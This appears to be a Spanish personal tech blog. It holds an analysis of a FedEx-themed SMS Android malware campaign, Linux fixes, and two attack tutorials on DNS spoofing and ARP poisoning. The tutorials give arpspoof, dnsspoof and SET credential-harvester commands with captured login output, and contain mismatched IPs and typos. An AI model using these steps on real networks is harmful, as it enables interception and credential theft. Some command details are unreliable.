Timo SMS FedEx

Esta semana se ha propagado un timo el cual utilizaba el nombre de una famosa empresa de transporte llamada ‘Fedex’.

El timo consiste en un envío de SMS a la victima que contiene un enlace hacia una aplicación para que el usuario la descargue para conocer el numero de seguimiento de un pedido que supuestamente no ha podido ser entregado.

El usuario, al pinchar el enlace y descargar la aplicación y conceder a esta permisos, consigue poner su teléfono a merced de este malware. El timo se divide en varias fases:

1 . Envio de SMS a la victima:

SMS recibido por la victima

La victima recibie un sms con su nombre que contiene el enlace con la aplicación .apk maliciosa.

2. Infección y propagación.

Tras la instalación de la apk maliciosa en el teléfono de la victima. Lee todos los contactos del teléfono de la victima, nombre y teléfono de contacto y para cada uno de estos registros envia un SMS a ese mismo teléfono con el mensaje:

Hola XXXXX, siendo XXXX el nombre del contacto almacenado en la memoria del telefono.

Tras esta última fase, la historia se repite hasta llegar al mayor numero de personas posibles.

Tras un pequeño estudio de la aplicación maliciosa podemos observar:

– Cada envio de sms redirige a la victima a un sitio comprometido donde se almacena la .apk para ser descargada.

– Los atacantes alojan el archivo .apk malicioso en sitios comprometidos. La mayoria páginas con wordpress instalados sin actualizar.

– Si se trata de un navegador web móvil muestra el contenido, si se trata de un navegador web un PC simplemente no muestra nada.

Metodología de Ataque

Al parecer, los propietarios que han diseñado este malware tienen una gran extensa lista de sitios web comprometidos. El 100% de los sitios que he podido comprobar son sitios que implementan WordPress desactualizados.

Los atacantes, aprovechan para crear un directorio dentro de esa página web donde alojan un fichero .php, que es el que muestra la siguiente imagen:

Visualización de la página con enlace de descarga de la aplicación

Ese fichero .php creará un contenido totalmente dinámico.

Dependiendo si es visitado por un dispositivo móvil y el idioma del visitante.

Si cargamos ese enlace con un PC no podremos ver contenido alguno. Este comportamiento es gracias a la comprobación de las cabeceras HTTP ‘User-Agent’ el cual es posible determinar que plataforma, navegador e idioma tiene el visitante y así generar un contenido a medida de la victima.

Una vez creada esa página fake, el siguiente paso será mostrar el enlace de la aplicación. La ruta de este enlace redirige a otro sitio web comprometido, en el cual se encuentra la aplicación .apk

Todo esto con el desconocimiento absoluto de los propietarios de cada sitio web hackeado.

Analizando el .apk de la aplicación maliciosa.

Para el analisis del archivo .apk lo primero que tenemos que hacer es “decompilar” dicho fichero. En mi caso he utilizado uno de los muchos servicios online para este proposito:

https://www.apkdecompilers.com/

Analisis de ficheros:

AndroidManifest.xml:

  • <uses-permission android:name=»android.permission.INTERNET»/>
  • <uses-permission android:name=»android.permission.READ_CONTACTS»/>
  • <uses-permission android:name=»android.permission.WRITE_SMS»/>
  • <uses-permission android:name=»android.permission.READ_SMS»/>
  • <uses-permission android:name=»android.permission.SEND_SMS»/>
  • <uses-permission android:name=»android.permission.RECEIVE_SMS»/>
  • <uses-permission android:name=»android.permission.READ_PHONE_STATE»/>
  • <uses-permission android:name=»android.permission.QUERY_ALL_PACKAGES»/>
  • <uses-permission android:name=»android.permission.WAKE_LOCK»/>
  • <uses-permission android:name=»android.permission.FOREGROUND_SERVICE»/>
  • <uses-permission android:name=»android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS»/>
  • <uses-permission android:name=»android.permission.CALL_PHONE»/>
  • <uses-permission android:name=»android.permission.REQUEST_DELETE_PACKAGES»>

Este archivo es utilizado en las aplicaciónes de Android para declarar que permisos necesitará el software para funcionar. Será el usuario el que PERMITA o DENIEGE estos permisos.

Describo los permisos (por orden) que pedirá la aplicación para funcionar,:

  • Permisos para utilizar internet.
  • Lectura de contactos.
  • Escritura y lectura de SMS
  • Leer el estado general del terminal
  • Lectura para propiedades de otros paquetes.
  • Ejecución en 2 plano
  • Evitar que el proceso sea matado por optimizaciones de bateria
  • Realizar llamadas

Visto los permisos listados, esta aplicación seguirá corriendo en el terminal infectado aun estando bloqueado ya que se le permite el uso de ejecución en 2 plano.

A traves de lo que se conoce en programación android como ‘BroadcastReceiver’, la aplicación es notificada de casi todo lo que ocurre en nuestro terminal

Declara un Listener propio llamado ‘MyNotificationListener’:

  • <service android:enabled=»true» android:name=»com.tencent.mobileqq.MyNotificationListener» android:permission=»android.permission.BIND_NOTIFICATION_LISTENER_SERVICE»>
  • <intent-filter>
  • <action android:name=»android.service.notification.NotificationListenerService»/>
  • </intent-filter>
  • </service>

Lectura de TODOS los SMS y MMS entrantes del terminal:

  • <receiver android:name=»com.tencent.mobileqq.SmsReceiver» android:permission=»android.permission.BROADCAST_SMS»>
  • <intent-filter>
  • <action android:name=»android.provider.Telephony.SMS_DELIVER»/>
  • </intent-filter>
  • <receiver android:name=»com.tencent.mobileqq.MmsReceiver» android:permission=»android.permission.BROADCAST_WAP_PUSH»>
  • <intent-filter>
  • <action android:name=»android.provider.Telephony.WAP_PUSH_DELIVER»/>
  • <data android:mimeType=»application/vnd.wap.mms-message»/>

Con el tag <receiver>, se declará un receiver el cual hará que android, avise a esta aplicación maliciosa cada vez que llegue un SMS nuevo.

En la carpeta /res / del archivo .apk descomprimido podemos encontrar los strings para varios idiomas, lo que nos dinca que la aplicación esta diseñada para muchos idiomas.

Si observamos el contenido de / sources / np / e intentamos visualizar los archivos .java presentes podremos ver que el código de estos archivos ha sido ofuscado para intentar ocultar su funcionamiento. Para más complicación, el decompilador que he utilizado al parecer ha tenido que renombrar gran parte del código ya que contenia caracteres no printables.

Este malware es doblemente peligroso, ya que, por un lado intenta robar dinero a la victima y por otro lado, GENERA a la victima un gasto extra en su factura por el envio de SMS utilizando el dispositivo. Con lo que puede llegar a aumentar considerablemente la factura de su linea móvil.

Espero que haya servido de ayuda, seguimos con las investigaciones de este malware..

Share

Ubuntu. Actualizar distribucion obsoleta

Hola. Publico como siempre una pequeña receta a modo de apunte. En esta ocasión se trata de como actualizar un sistema ubuntu muy anticuado y que al realizar un ‘apt-get update’ nos responde con errores 404 Not found…

1. sudo gedit /etc/apt/sources.list

2. Cambiar los dominios:

http://es.archive.ubuntu.com/

por:

http://old-releases.ubuntu.com/

(Podemos utilizar el buscar y reemplazar de gedit para realizar estos cambios másivamente)

3. Guardamos el fichero editado.

4. apt-get update && apt-get upgrade && apt-get dist-upgrade

FIN.

Share

Altavoces o Auriculares sin audio en Gentoo

En esta ocasión les traigo una solución para nuestro equipo Linux en base Gentoo. Si conectamos los auriculares o altavoces externos a nuestro portatil y no funciona, la solución es sencilla.

Se trata de instalar el paquete alsa-firmware para que nos instale el firwmare relacionado con nuestra tarjeta de sonido. El sonido suena por los altavoces internos por que el modulo del kernel se encuentra perfectamente seleccionado y levantado pero no funciona como debería. Instalado el paquete sys-firmware/alsa-firmware se soluciona el problem:

  • emerge sys-firmware/alsa-firmware
    • rebooot

Con esto ya tendriamos funcionando al 100% nuestra tarjeta de sonido.

Entiendo que esta solución puede ser extendible tambien a otras distribuciones como Ubuntu o debian. Simplemente deberiamos buscar el paquete binario alsa-firmware e instalarlo ya sea con ‘apt-get’ o ‘yum’ o el gestor de paquetes de la distribución que nos encontremos.

Un saludo.

Share

Emerge world para actualizar Gentoo

Con:

  • emerge -avuDN –with-bdeps=y –changed-deps @world

realizará una actualización completa de nuestro sistema, detectando ademas los paquetes que se vean afectados por un cambio de USE global en nuestro sistema.

Si este comando lo vamos a ejecutar por la noche en el que no vamos a estar presentes delante de nuestro equipo. Podemos ejecutar:

  • emerge -avuDN –with-bdeps=y –changed-deps -keep-going y @world

Con el comando anterior emerge intentará omitir un paquete que falle al compilar, compilando todos los demás para finalizar el proceso. Más tarde cuando estemos delante de nuestro equipo tendremos que ver que paquete dió error al compilar y solucionarlo nosotros manualmente.

Hay que añadir que si el paquete que falle al compilar es uno con «fuertes dependencias» la compilación no va a continuar ya que el resto de paquetes que dependan de él tambien mostraran error al compilar. No obstante el parametro ‘–keep-going y’ es una muy buena opción para ganar tiempo si dejamos el pc actualizando en horas nocturas.

Un saludo.

Fuentes: https://forums.gentoo.org/viewtopic-p-7511690.html

https://forums.gentoo.org/viewtopic-t-1083728-start-0.html

Share

ERROR: ModuleNotFoundError: No module named ‘pkg_resources’

Hola.

Hoy al intentar realizar un emerge de algunos paquetes en mi sistema gentoo me ha aparecido el siguiente error:

«ModuleNotFoundError: No module named ‘pkg_resources'»

El cual he solucionado realizando lo siguiente:

  • eselect python list
  • eselect python set 1 // Seleccionar la versión más reciente para nuestro sistema

y por ultimo… realizar de nuevo la instalación del paquete ‘setuptools’ de python:

  • emerge dev-pyton/setuptools

Un saludo.

Share

dev-ruby/bundler: environment: line 659: rdoc: command not found gentoo

Hoy, al intentar realizar una actualización de mi sistema me he encontrado con este fallo de compilación:

  • environment: line 659: rdoc: command not found gentoo

La solución:

  • eselect ruby list:

[1] ruby25 *
[2] ruby26 (with Rubygems)

  • eselect ruby set 2
  • emerge –resume
  • a compilar! 🙂

Fuentes:

https://forums.gentoo.org/viewtopic-p-8504209.html?sid=dc07e6309b9a74ee8696b77b0165a2bf

https://bugs.gentoo.org/744493

Share

DNS SPOOFING

El ataque DNS SPOOFING es un extra del envenenamiento ARP.

Primero, envenenamos la tabla ARP para hacer pasar el trafico por nuestro equipo atacante y a continuación levantamos un servidor dns propio para redirigir a nuestra victima a la máquina atacante.

Para realizar el DNS SPOOFING primero tenemos que realizar un envenenamiento de la tabla ARP (ARP SPOOFING) de los equipos haciendoles creer que nuestro equipo es el router de la red. (con el ip_forward activado) para que nuestra máquina haga forward de los paquetes.

En este caso nuestro escenario, seria este:

Equipo victima: 192.168.1.88
Router red:     192.168.1.1
Atacante:       192.168.1.50

1. ARP SPOOFING: Ejecutamos en la máquina atacante:

# arpspoof -i eth0 192.168.1.1
# echo 1 > /proc/sys/net/ipv4/ip_forward

Con el comando anterior, permanentemente lo que haremos es decirle a TODOS los dispositivos de la red que 192.168.1.1 somos nosotros (el atacante 192.168.1.50) por lo que todos los hosts de esta red enviarán el trafico hacia nuestro equipo y nosotros lo reenviaremos al router real (por eso el ip_forward activado).

2. DNSSPOOF:

Esta utilidad se puede encontrar en distribuciones como Kali Linux y lo que hará es solamente realizar la resolución de nombres que hayamos indicado. Es decir, todas las consultas las ignorará, solamente realizará el «engaño» en los hosts que hayamos indicado en ‘resol.txt’:

– Creamos el archivo resol.txt:
echo «192.168.1.50 login.panel.com» > resol.txt

– Ejecutamos dnspoof:
dnsspoof -i eth0 -f resolt.txt

Con dnsspoof ejecutandose y escuchando peticiones DNS, cuando alguien decida visitar login.panel.com lo que estará haciendo es resolver hacia nuestra maquina atacante. Con lo que si nosotros armamos una «copia» de la web que queramos podemos engañar a la victima para conseguir las credenciales que nos interesan.

Para realizar la copia del sitio y levantar un servidor web con el contenido «clon» podemos utilizar la utilidad ‘settoolkit’ que viene con Kali Linux:

Esta son las opciones que tendremos que usar dentro de settoolkit:

/usr/share/set/setoolkit
1 – Social Engineering Attacks
2 – Website Attack Vectors
3 – Credential Harvester Attack Method
2 – Site Cloner

IP Address for the POST back….: 192.168.1.50   <IP de nuestra maquina. Atacante>
Enter the url to clone: login.panel.com

Una vez que hayamos completado los pasos anteriores settoolkit quedará ejecutandose. La victima, al visitar ‘login.panel.com’ y introducir ahi sus credenciales, obtendriamos esto:

(‘Array\n’,)
(‘(\n’,)
(‘    [type] => account\n’,)
(‘    [username] => Juan\n’,)
(‘    [password] => 2250\n’,)
(‘    [Submit] => Log In\n’,)
(‘)\n’,)

Como podemos observar, el usuario ha introducido ‘Juan’ como usuario y ‘2250’ como password.

Eso es todo.

Share

Main the Middle. Envenenamiento tabla ARP

El envenenamiento de ARP consiste en modificar la tabla de Relación IP -> MAC de equipos en la red por alguna que nosotros queramos.
De este modo si tenemos:

– Cliente Legitimo  con IP (192.168.1.130)
– Servidor Web             (192.168.1.129)
– Atacante                 (192.168.1.128) MAC: 00:80:5a:60:ee:71

Lo que nos interesa en este punto es poder interceptar la comunicación entre: Cliente Legitimo -> Servidor Web. Para ell utilizaremos arpspoof para hacer creer al Servidor que la MAC del cliente será el ATACANTE y al CLIENTE, que la MAC del servidor será ATACANTE. Con esto, obtendriamos la comunicación en los 2 sentidos.

1. Activamos el ip_forwarding en la máquina del atacante para reenviar paquetes.

# echo 1 > /proc/sys/net/ipv4/ip_forwarding

2. Realizamos el envenenamiento de la tabla ARP con arpspoof:

# arpspoof -i eth0 -t 172.16.1.130 172.16.1.129       Comunicación: Cliente legitimo -> Servidor Web
# arpspoof -i eth0 -t 172.16.1.129 172.16.1.130       Comunicación: Servidor web -> Cliente legitimo

De esta forma, hemos realizado el envenamientamiento ARP para las 2 vías de comunicación.

Si comprbamos ahora la tabla arp tanto en el CLIENTE LEGITIMO como en el SERVIDOR con arp -a, veremos que la MAC que ahora aparece es la del atacante: 00:80:5a:60:ee:71

3. Se podria realizar este mismo ataque pero con la IP de la puerta de enlace (router). De esta forma podriamos capturar todo el tráfico que pasa por él. Con tcpdump, wireshark o cualquier sniffer de red.

Share